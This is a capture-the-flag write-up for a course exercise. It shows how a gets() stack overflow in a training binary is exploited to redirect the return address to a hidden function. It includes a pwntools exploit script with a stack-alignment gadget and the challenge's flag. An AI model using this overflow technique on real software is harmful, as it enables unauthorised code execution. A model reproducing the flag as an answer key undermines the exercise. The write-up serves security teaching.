Escape Room 1

Problem Type

- Buffer (Stack) Overflow
- Function Redirection

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

No PIE and no stack canaries.

Solution

This is the solution for `./escape1_static`. The net implementation `./escape1_net` may have a different return address.

Initial Investigation

We take a look at the source code provided:

```
void escape(){
    char flag[512];
    // d is the function to deobfuscate the flag and store it within the flag variable
    // d(flag, "CZ4067{...}");
    printf("You successfully escaped!");
    printf("The flag is: %s\n", flag);
}

int main(){
    printf("You are trapped in the Escape Room!\n");
    printf("Are you able to escape?\n");
    printf("Please key in the secret code below:\n");
    char code[16];
    gets(code);
    return 0;
}
```

Points of Note:

1. The program asks us for a secret code and runs `gets(code)` to store our input.
2. There is a separate function `escape()` that prints out the flag. However, it is not run or called within `main()`.

Vulnerability

`gets(code)` is vulnerable to buffer (stack) overflow.

There is no restriction on the length of the string that is read and passed into the buffer.

> As described in the linux manual page gets(3), '*It is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use.*'

Hence, players can pass in payloads of length larger than that of buffer, and successfully overwrite other values and addresses on the stack.

With this vulnerability, how do we plan on redirecting the program to execute `escape()` and obtain the flag?

When a function is called, the program needs to know where to return to after the function is completed. Hence, the program will push the address of the next instruction onto the stack. This is known as the return address.

In order to obtain the flag, we need to overwrite the return address on the stack to the address of `escape()`. In other words, within `main()`, instead of having the function `return 0`, we want the program to return to the `escape()` function.

Further Investigation

To do so, we require to find:

- Size of the buffer
  - `char code[16]`, buffer is 16 characters long
- Address of the escape() function
  - Can be found with:
    - `objdump -t ./escape1_static | grep escape`
    - `gdb`, `info address escape`
  - Address of the `escape()` function for `./escape1_static` is `0x00000000004014f5`

Payload/Script

Payload = `Buffer + RBP Padding + New Return Address`

Buffer = `'A' * 16`

RBP Padding = `'B' * 8`

New Return Address (Little Endian) = `\xf5\x14\x40\x00\x00\x00\x00\x00`

Hence, Payload is: `'A' * 16 + 'B' * 8 + '\xf5\x14\x40\x00\x00\x00\x00\x00'`

> Note, RBP padding is required as on the stack, a base pointer register (`rbp`) is pushed between the return address and the buffer.

MOVAPS Stack Alignment Issue

However, there might be instances where the above payload does not work as intended. For example, for machines running on Ubuntu 18.04 or newer, the GLIBC - GNU C Library packaged with Ubuntu uses the `movaps` instruction for movement of data between registers and the stack. `movaps`, however, requires the stack to be 16-byte aligned.

The above payload may lead to a segmentation fault due to stack mis-alignment. One way to align the stack would be to 'pad' the payload with an address pointing to a `ret` instruction. A possible solution script is as such:

```
from pwn import *

# Delivering payload into local binary
```

```
binary = context.binary = ELF('./escape1_static')
p = process(binary.path)

# Payload Crafting

buffer = b"A" * 16
padding = b"B" * 8
return_address = 0x04014f5

# MOVAPS Stack Alignment Issue
# 0x4015e6 is the address for the RET instruction within main()

alignment_address = 0x4015e6
payload = buffer + padding + p64(alignment_address) + p64(return_address)
p.sendline(payload)
pause()

p.interactive()
```

Result

After running the script:

```
You are trapped in the Escape Room!
Are you able to escape?
Please key in the secret code below:
You successfully escaped!The flag is: CZ4067{b0f_n07_50_h4rd_4f73r_4ll}
```

Flag

`CZ4067{b0f_n07_50_h4rd_4f73r_4ll}`